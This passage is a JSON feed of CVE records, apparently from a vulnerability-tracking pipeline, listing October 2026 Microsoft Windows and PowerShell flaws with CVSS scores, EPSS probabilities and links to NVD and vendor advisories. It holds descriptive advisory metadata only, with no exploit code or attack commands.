2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96308&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96308, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96307","cveId":"CVE-2026-96307","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:52.910Z","updatedAt":"2026-10-16T16:22:49.303Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96307","asOf":"2026-10-16T16:22:49.303Z"},"epss":{"probability":0.00199,"percentile":0.09604,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96307&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96307","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96307","type":"primary","publishedAt":"2026-10-13T19:21:52.910Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96307","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96307&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96307, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96306","cveId":"CVE-2026-96306","aliases":[],"kind":"vulnerability","title":"Out-of-bounds read in Windows Sysmain Service allows an authorized attacker to elevate privileges locally.","summary":"Out-of-bounds read in Windows Sysmain Service allows an authorized attacker to elevate privileges locally.","detail":"Out-of-bounds read in Windows Sysmain Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:52.750Z","updatedAt":"2026-10-16T16:22:49.150Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96306","asOf":"2026-10-16T16:22:49.150Z"},"epss":{"probability":0.0024,"percentile":0.14904,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96306&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96306","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96306","type":"primary","publishedAt":"2026-10-13T19:21:52.750Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96306","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96306&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96306, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96305","cveId":"CVE-2026-96305","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:52.567Z","updatedAt":"2026-10-16T16:22:48.957Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96305","asOf":"2026-10-16T16:22:48.957Z"},"epss":{"probability":0.00246,"percentile":0.15676,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96305&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96305","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96305","type":"primary","publishedAt":"2026-10-13T19:21:52.567Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96305","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96305&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96305, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96304","cveId":"CVE-2026-96304","aliases":[],"kind":"vulnerability","title":"Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:52.420Z","updatedAt":"2026-10-16T16:22:48.813Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 21h2","stacks":["Microsoft Windows","windows 10 21h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96304","asOf":"2026-10-16T16:22:48.813Z"},"epss":{"probability":0.00279,"percentile":0.20191,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96304&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96304","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96304","type":"primary","publishedAt":"2026-10-13T19:21:52.420Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96304","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96304&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96304, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96302","cveId":"CVE-2026-96302","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:52.110Z","updatedAt":"2026-10-16T16:22:48.570Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 1607"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96302","asOf":"2026-10-16T16:22:48.570Z"},"epss":{"probability":0.00246,"percentile":0.15675,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96302&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96302","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96302","type":"primary","publishedAt":"2026-10-13T19:21:52.110Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96302","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96302&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96302, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96301","cveId":"CVE-2026-96301","aliases":[],"kind":"vulnerability","title":"Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:51.973Z","updatedAt":"2026-10-16T16:22:48.430Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 21h2","stacks":["Microsoft Windows","windows 10 21h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96301","asOf":"2026-10-16T16:22:48.430Z"},"epss":{"probability":0.00279,"percentile":0.20191,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96301&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96301","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96301","type":"primary","publishedAt":"2026-10-13T19:21:51.973Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96301","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96301&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96301, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96254","cveId":"CVE-2026-96254","aliases":[],"kind":"vulnerability","title":"Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:51.643Z","updatedAt":"2026-10-16T16:22:48.083Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 21h2","stacks":["Microsoft Windows","windows 10 21h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96254","asOf":"2026-10-16T16:22:48.083Z"},"epss":{"probability":0.00279,"percentile":0.20194,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96254&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96254","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96254","type":"primary","publishedAt":"2026-10-13T19:21:51.643Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96254","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96254&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96254, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96253","cveId":"CVE-2026-96253","aliases":[],"kind":"vulnerability","title":"Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:51.503Z","updatedAt":"2026-10-16T16:22:47.940Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 21h2","stacks":["Microsoft Windows","windows 10 21h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96253","asOf":"2026-10-16T16:22:47.940Z"},"epss":{"probability":0.00279,"percentile":0.20192,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96253&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96253","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96253","type":"primary","publishedAt":"2026-10-13T19:21:51.503Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96253","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96253&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96253, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96251","cveId":"CVE-2026-96251","aliases":[],"kind":"vulnerability","title":"Reliance on untrusted inputs in a security decision in Microsoft PowerShell allows an unauthorized attacker to execute code over a network.","summary":"Reliance on untrusted inputs in a security decision in Microsoft PowerShell allows an unauthorized attacker to execute code over a network.","detail":"Reliance on untrusted inputs in a security decision in Microsoft PowerShell allows an unauthorized attacker to execute code over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:51.193Z","updatedAt":"2026-10-22T23:20:40.317Z","regions":["Global"],"vendor":"microsoft","product":"powershell","stacks":["Microsoft","powershell"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96251","asOf":"2026-10-22T23:20:40.317Z"},"epss":{"probability":0.00691,"percentile":0.52582,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96251&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96251","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96251","type":"primary","publishedAt":"2026-10-13T19:21:51.193Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96251","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96251&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96251, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96250","cveId":"CVE-2026-96250","aliases":[],"kind":"vulnerability","title":"Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows USB Print Driver allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:51.050Z","updatedAt":"2026-10-16T16:22:47.640Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 21h2","stacks":["Microsoft Windows","windows 10 21h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96250","asOf":"2026-10-16T16:22:47.640Z"},"epss":{"probability":0.00279,"percentile":0.20194,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96250&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96250","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96250","type":"primary","publishedAt":"2026-10-13T19:21:51.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96250","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96250&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96250, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96249","cveId":"CVE-2026-96249","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Win32 Kernel Subsystem allows an authorized attacker to elevate privileges locally.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:50.923Z","updatedAt":"2026-10-16T16:08:02.557Z","regions":["Global"],"vendor":"microsoft","product":"windows 11 24h2","stacks":["Microsoft Windows","windows 11 24h2"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96249","asOf":"2026-10-16T16:08:02.557Z"},"epss":{"probability":0.00353,"percentile":0.28695,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96249&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96249","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96249","type":"primary","publishedAt":"2026-10-13T19:21:50.923Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-96249","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96249&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96249, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96248","cveId":"CVE-2026-96248","aliases":[],"kind":"vulnerability","title":"Stack-based buffer overflow in Windows Host Guardian Service allows an unauthorized attacker to deny service over a network.","summary":"Stack-based buffer overflow in Windows Host Guardian Service allows an unauthorized attacker to deny service over a network.","detail":"Stack-based buffer overflow in Windows Host Guardian Service allows an unauthorized attacker to deny service over a network.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:50.773Z","updatedAt":"2026-10-16T16:08:35.433Z","regions":["Global"],"vendor":"microsoft","product":"windows 10 1607","stacks":["Microsoft Windows","windows 10 